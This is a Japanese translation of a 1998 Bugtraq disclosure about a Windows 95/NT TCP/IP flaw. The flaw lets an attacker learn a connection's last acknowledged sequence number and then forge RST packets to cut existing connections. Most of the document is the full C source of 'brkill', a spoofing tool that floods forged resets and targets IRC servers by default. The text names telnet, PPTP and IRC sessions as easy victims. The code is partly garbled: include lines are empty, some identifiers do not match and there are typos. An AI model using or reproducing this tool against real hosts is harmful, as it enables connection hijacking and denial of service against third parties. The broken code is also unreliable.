WINDOWS 95/NTの新しいバグ(brkill)について Produced by DEF CON ZERO Bugtraq 98/10/06 02:47:06  この8月に別のプロジェクトに取り組んでいたとき、我々はマイクロソフトのTCP/IP実 行で弱点にぶち当たった。その弱点は少なくともWindows 95とWindows NT 4.0に存在し、 侵入者が接続先のIPアドレスとTCPポートを知っている限り(そして、標的となるマシンの 接続用TCPポートを首尾よく当てることができたとき --たいていは1024を大きく超えい)W indowsマシンの既設の接続をリセットしてしまう。  問題は、リセットを起こしたマイクロソフトマシンにパケットが送られるときに発生す る。我々のコード例では、このリセットを起こすのにPSH ACK が使用される。結果として 起こるリセットのACKフィールドには、設定されている標的のTCP接続のすべてにわたって 肯定応答された最後のシーケンス番号が含まれる。この肯定応答を備えた上で、標的とな るマシンにRSTを検索した ACK 番号とともにシーケンス番号(またACKフィールドでは0)と して送ることができ、接続の中断的なリリースを起こす。それに加え、マイクロソフトO Sはすべてのポートのリセットに応答するため、あらゆる任意のクローズポートから最後 の肯定応答シーケンス番号を検索することができる。  これにはもちろん、いくつかの制限がある。すなわち、標的となる接続の両端末のTCP ポート番号とIPアドレスが分からなければならない。これは一見難しそうに見えるがそれ ほどでもない。TCP接続のタイプが分かれば、おそらくサーバポートが分かる。標的のTCP ポートについては、おそらく1024を大幅には超えない。接続をリセットするにあたっての 重要な障害は、別の肯定応答を送る前に標的をリセットしなければならないことである。 この問題を対処するため、brkill.cコードは -n スイッチを伴い、brkillにより一連のシ ーケンス番号のackから(ack + n)までが標的となるホストに送られる。  最後に、その標的がTCP接続を多数設定していた場合、いくつかのACK番号のセットが存 在するため、接続のリセットは難しくなり、切断したい接続がどれに属するかが分からな くなる。  我々は去る9月15日に、この問題をマイクロソフト社に報告したところ、ステロ版の 記事で「ありがとう、調べてみます。」という返事を受け取った。クソッタレのマイクロ ソフトめ。ああ、マックはもっとクソッタレだった。Windows ユーザが自らを守るために 方策を講じられるよう、脆弱性の詳細を公開するときがやってきた。ここに、brkillのソ ースコードと、問題に対する概念の立証的デモを紹介する。  このソースは FreeBSD、OpenBSDおよびLinuxでテストされ、pcapライブラリを必要とす る。 --- 含意 ---  我々は、以下のタイプの接続がこの攻撃に最も被害をうけやすいと考える。 ・ログイン接続(telnet、rlogin、xterm )。これらはたいてい低いデータ転送率を含み、 著名なサーバポートをもつため、ターゲットにされやすい。 ・MS PPTP 接続。データ転送率は必ずしも低くはないが、接続が長く続くため、たいてい 容易にリセットすることができる。 ・ある接続は、マイクロソフトマシン以外から起こる場合でも、論理的接続が MS Proxy Serverによって中断されるときにこの攻撃の被害を受けやすくなる。これはMS proxyが脆 弱であると推測するが、実際そうであるか、そうでないかは分からない。これについては テストしていない。 ・IRCなどの公開のチャット接続が、この攻撃に影響されやすいことがわかった。これは( 何度も何度も)リセットされるのが見られるため、特におもしろがられている。 ソースコードは、http://deep.ee.siue.edu/br/より利用できる。 libpcapの最新版は、ftp://ftp.ee.lbl.gov/libpcap.tar.Zにある。(by w0rm) ////////////////////////////////////////////////////////////brkillのソースコード /* brkill.c * by the basement research, llp * Sat Sep 5 04:01:11 CDT 1998 * For the details of how this works, you can visit http://deep.ee.siue * .edu/br. * To compile: * cc -O2 -o brkill brkill.c -lpcap */ #define SWAP(a,b) { a^=b; b^=a; a^=b; } #define _BSD_SOURCE 1 #ifdef __FreeBSD__ #define BSDFIX(a) (a) #else #define BSDFIX(a) htons(a) #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "pcap.h" #define TIMEOUT_VALUE 500 #define VICTIM_START_PORT 1023 struct evilpkt { struct ip iphdr; struct tcphdr tcphead; } bkt; struct fakehdr { u_long saddr; u_long daddr; u_char zero; u_char proto; u_short len; struct tcphdr faketcp; } pseudo; static pcap_t *pfd; u_long victim; u_short port; char *device = NULL; u_short link_offset = 14; static char *filter_str; struct pcap_pkthdr hdr; u_short tcp_cksum (u_short * tcphdr, int len) { register long sum = 0; u_short *w = tcphdr; static u_short answer = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum); } void start_pcap () { char cmd[200]; int psize ; struct bpf_program fcode; u_int localnet, netmask; char errbuf[PCAP_ERRBUF_SIZE]; char dialup[] = "ppp0"; psize = 300; if (device == NULL) { if ((device = pcap_lookupdev (errbuf)) == NULL) { printf ("pcap_lookupdev : %s\n", errbuf); exit (-1); } } printf ("Selected network device: %s\n", device); if (!strcmp (device, dialup)) { link_offset = 0; } if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf)) == NULL) { printf ("pcap_open_live : %s\n", errbuf); exit (-1); } if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0) { printf ("pcap_lookupnet : %s\n", errbuf); exit (-1); } snprintf (cmd, sizeof (cmd), filter_str); printf ("Setting filter : %s\n", filter_str); if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0) { printf ("pcap_compile : %s\n", pcap_geterr (pfd)); exit (-1); } if (pcap_setfilter (pfd, &fcode) < 0) { printf ("pcap_setfilter : %s\n", pcap_geterr (pfd)); exit (-1); } if (pcap_datalink (pfd) < 0) { printf ("pcap_datalink : %s\n", pcap_geterr (pfd)); exit (-1); } } u_long extract_ack (char *pkt) { u_long extracted; u_long last_ack = 0; bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long)); last_ack = ntohl (extracted); if (last_ack == 0) { buts ("This machine returns a last ACK of 0. Cannot reset."); exit (-1); } printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack); return (last_ack); } u_long grab_pcap () { char *pptr = NULL; u_long last_ack; while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL); pptr = pptr + link_offset; last_ack = extract_ack (pptr); return (last_ack); } void init_pkt (u_long dest, u_long src, u_short port) { size_t pktlen; pktlen = sizeof (struct ip) + sizeof (struct tcphdr); bzero (&pkt, 40); bzero (&pseudo, 32); pkt.iphdr.ip_hl = 0x5; pkt.iphdr.ip_v = IPVERSION; pkt.iphdr.ip_tos = 0x0; pkt.iphdr.ip_len = pktlen; pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000); pkt.iphdr.ip_off = BSDFIX (IP_DF); pkt.iphdr.ip_ttl = 255; pkt.iphdr.ip_p = IPPROTO_TCP; pkt.iphdr.ip_src.s_addr = src; pkt.iphdr.ip_dst.s_addr = dest; pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20)); pkt.tcphead.th_sport = htons (rand () % 5000 + 1024); pkt.tcphead.th_dport = htons (port); pkt.tcphead.th_seq = 0; pkt.tcphead.th_ack = 0; pkt.tcphead.th_x2 = 0; pkt.tcphead.th_off = 0x5; pkt.tcphead.th_flags = TH_ACK + TH_PUSH; /* Use user-supplied argument */ pkt.tcphead.th_win = htons (0x800); pkt.tcphead.th_urp = 0; /* Now init the pseudoheader we need to calculate the TCP checksum */ pseudo.saddr = src; pseudo.daddr = dest; pseudo.zero = 0; pseudo.proto = IPPROTO_TCP; pseudo.len = htons (0x14); /* Refers to ONLY the TCP header plus any options */ bcopy (&pkt.tcphead, &pseudo.faketcp, 20); pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32); } int open_sock () /* Open up a socket and return the resulting file descriptor. */ { int sockfd; const int bs = 1; if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror ("open_sock():socket()"); exit (-1); } if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0) { perror ("open_sock():setsockopt()"); close (sockfd); exit (-1); } return (sockfd); } struct sockaddr_in *set_sockaddr (u_long daddr, u_short port) /* Set up target socket address and return pointer to sockaddr_in structure. */ { struct sockaddr_in *dest_sockaddr; dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in)); bzero (dest_sockaddr, sizeof (struct sockaddr_in)); dest_sockaddr->sin_family = AF_INET; dest_sockaddr->sin_port = htons (port); dest_sockaddr->sin_addr.s_addr = daddr; return (dest_sockaddr); } u_long host_to_ip (char *host_name) { struct hostent *target; u_long *resolved_ip; resolved_ip = (u_long *) malloc (sizeof (u_long)); if ((target = gethostbyname (host_name)) == NULL) { fprintf (stderr, "host_to_ip: %d\n", h_errno); exit (-1); } else { bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr)); return ((u_long) * resolved_ip); } } char * set_filter (char *destip, char *srcip, char *dport) { static char *filt; filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39); filt[0] = '\0'; strcat (filt, "src host "); strcat (filt, destip); strcat (filt, " and dst host "); strcat (filt, srcip); strcat (filt, " and src port "); strcat (filt, dport); return (filt); } u_long get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay) { size_t psize; u_long last_ack; psize = sizeof (struct evilpkt); init_pkt (victim, saddr, port); sleep (delay); if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0) { perror ("sendto()"); close (fd); exit (-1); } last_ack = grab_pcap (); return (last_ack); } void usage () { puts ("brkill - by basement research, 9/30/98\n"); puts ("Usage: brkill [-d device] [-s source IP addr]"); puts ("\t [-t time to pause between get_acks (default=1 sec)]"); puts ("\t [-l server low port or single port if not using range (default=6660)]"); puts ("\t [-h server high port or single port if not using range (default=6670)]"); puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]"); puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]"); puts ("\t "); exit (0); } int main (int argc, char **argv) { int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, ,highseq = 0; u_short ircport, slowport = 0, shighport = 0; char *source = NULL; struct sockaddr_in *sock; u_long saddr, server; size_t psize; register u_long last_ack; struct hostent *hptr; struct utsname localname; if ((argc > 18) || (argc < 4)) { usage (); } while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1) { switch (opt) { case 'd': device = optarg; break; case 's': source = optarg; saddr = host_to_ip (source); break; case 'p': delay = atoi (optarg); break; case 'l': slowport = atoi (optarg); break; case 'h': shighport = atoi (optarg); break; case 'v': vicports = atoi (optarg); break; case 'n': highseq = atoi (optarg); break; case '?': puts ("Unknown option."); exit (-1); } } /* Try to determine source IP address if its not provided */ if (source == NULL) { if (uname (&localname) < 0) { perror ("uname(): "); exit (-1); } if ((hptr = gethostbyname (localname.nodename)) == NULL) { perror ("gethostbyname(): "); exit (-1); } source = hptr->h_name; bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr)); printf ("Using a source address of %s\n", inet_ntoa (saddr)); } /* These next two if conditionals deal with the situation where only * -l or -h are specified. In these cases, we will only target the * specified port. */ if ((slowport > 0) && (shighport == 0)) { shighport = slowport; } if ((shighport > 0) && (slowport == 0)) { slowport = shighport; } /* If the low server port is bigger than the high server port, then * the userdoesn't know what they are doing. In this case, we'll * swap the values. */ if (slowport > shighport) { SWAP (slowport, shighport); puts ("Warning: low port is greater than high port - swapping the two..."); } /* Defaults if neither -l nor -h are specified (common IRC server * ports). */ if ((slowport == 0) && (shighport == 0)) { slowport = 6660; shighport = 6670; } /* End of the options processing code */ vichighport = VICTIM_START_PORT + vicports; ircport = shighport; filter_str = set_filter (argv[optind], source, argv[optind + 2]); victim = host_to_ip (argv[optind]); server = host_to_ip (argv[optind + 1]); port = (u_short) atoi (argv[optind + 2]); sock = set_sockaddr (victim, port); fd = open_sock (); psize = sizeof (struct evilpkt); start_pcap (); while (1) { last_ack = get_ack (victim, saddr, port, fd, sock, delay); pkt.iphdr.ip_src.s_addr = server; pkt.iphdr.ip_dst.s_addr = victim; pkt.iphdr.ip_id = htons (rand () % 7000); pkt.iphdr.ip_off = 0; pkt.tcphead.th_flags = TH_RST; pkt.tcphead.th_win = 0; pkt.tcphead.th_ack = 0; pseudo.saddr = server; pseudo.daddr = victim; if (ircport >= slowport) { pkt.tcphead.th_sport = htons (ircport); } else { ircport = shighport; pkt.tcphead.th_sport = htons (ircport); } printf ("Setting the source port to %d.\n", ircport); ircport--; for (i = 0; i <= highseq; i++) { pkt.tcphead.th_seq = htonl (last_ack + i); bcopy (&pkt.tcphead, &pseudo.faketcp, 20); for (sp = VICTIM_START_PORT; sp < vichighport; sp++) { /* FreeBSD has problems and runs out of * buffer space in sendto() unless we insert a * delay here. rtunately,this makes the code * less effective. */ #ifdef __FreeBSD__ if (!(sp % 20)) { usleep (20000); } #endif pkt.tcphead.th_dport = htons (sp); bcopy (&pkt.tcphead.th_dport, &pseudo. faketcp.th_dport, 2); pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000); pkt.iphdr.ip_sum = 0; pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20)); pseudo.faketcp.th_sum = 0; pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32); if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0) { perror ("sendto(): "); close (fd); exit (-1); } } } } if (close (fd) == -1) { perror ("close()"); exit (-1); } return (0); }